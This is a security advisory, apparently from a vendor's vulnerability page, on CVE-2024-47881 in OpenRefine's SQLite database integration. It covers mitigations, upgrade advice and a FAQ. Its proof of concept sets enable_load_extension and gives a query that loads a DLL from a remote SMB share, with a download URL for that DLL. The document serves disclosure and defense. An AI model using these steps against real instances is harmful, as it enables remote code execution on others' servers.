Summary
OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)
In the database extension, the "enable_load_extension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.
The attacker needs to have network access to the OpenRefine instance.
Details
The database extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:
- Read files on local or SMB filesystems, provided they are SQLite databases.
- Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.
This seems to be the expected behavior.
However, by adding ?enable_load_extension=true to the filename, a feature is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.
Possible mitigation and hardening steps could include:
- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path
- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory
- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters
- Always using the READONLY open mode
- Explicitly setting enable_load_extension to off
- Enforcing stricter limits and similar precautions
PoC
Tested on a Windows 11 machine.
- Start OpenRefine and choose "Create project", "Database", database type "SQLite".
- Type a writable file path followed by
?enable_load_extension=true. - Click Connect. The connection should succeed.
- Use
SELECT load_extension('\\wandernauta.nl\public\libcalculator.dll');as the query. - Assuming there are no firewalls in the way, a few Windows calculators should open.
The same file is available from https://wandernauta.nl/libcalculator.dll if needed.
Impact
Remote code execution for attackers with network access to OpenRefine.
CVE-2024-47881 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.8.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2024-47881? CVE-2024-47881 is a high-severity security vulnerability in org.openrefine:database (maven), affecting versions >= 3.4-beta, < 3.8.3. It is fixed in 3.8.3.
- How severe is CVE-2024-47881? CVE-2024-47881 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of org.openrefine:database are affected by CVE-2024-47881? org.openrefine:database (maven) versions >= 3.4-beta, < 3.8.3 is affected.
- Is there a fix for CVE-2024-47881? Yes. CVE-2024-47881 is fixed in 3.8.3. Upgrade to this version or later.
- Is CVE-2024-47881 exploitable, and should I be worried? Whether CVE-2024-47881 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-47881 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-47881? Upgrade
org.openrefine:databaseto 3.8.3 or later.